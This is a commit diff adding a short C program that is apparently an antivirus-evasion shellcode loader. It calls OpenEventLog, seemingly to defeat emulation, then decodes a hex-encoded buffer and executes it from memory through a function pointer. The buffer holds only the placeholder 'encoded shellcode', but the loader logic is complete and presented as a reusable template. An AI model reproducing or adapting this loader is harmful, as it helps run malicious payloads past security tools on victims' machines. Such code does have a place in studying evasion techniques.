Create openeventlog.c

openeventlog.c

@@ -0,0 +1,57 @@
+/*
+Author: Daniel Sauder
+Filename: openeventlog.c
+Website: http://govolution.wordpress.com
+License http://creativecommons.org/licenses/by-sa/3.0/
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <windows.h>
+#include <tchar.h>
+#include <stdlib.h>
+
+void exec_shellcode(unsigned char *shellcode)
+{
+  int (*funct)();
+  funct = (int (*)()) shellcode;
+  (int)(*funct)();
+}
+
+unsigned char* decode_shellcode(unsigned char *buffer, unsigned char *shellcode, int size)
+{
+  int j=0;
+  shellcode=malloc((size/2));
+
+  int i=0;
+  do
+  {
+    unsigned char temp[3]={0};
+    sprintf((char*)temp,"%c%c",buffer[i],buffer[i+1]);
+    shellcode[j] = strtoul(temp, NULL, 16);
+
+    i+=2;
+    j++;
+  } while(i<size);
+
+  return shellcode;
+}
+
+
+int main (int argc, char **argv)
+{
+	unsigned char *shellcode;
+	unsigned char buffer[]= "encoded shellcode";
+
+  HANDLE h;
+  h = OpenEventLog( NULL, "Application");
+  if (h == NULL)
+	  printf("error\n");
+
+	int size = sizeof(buffer);
+
+	shellcode = decode_shellcode(buffer,shellcode,size);
+	exec_shellcode(shellcode);
+}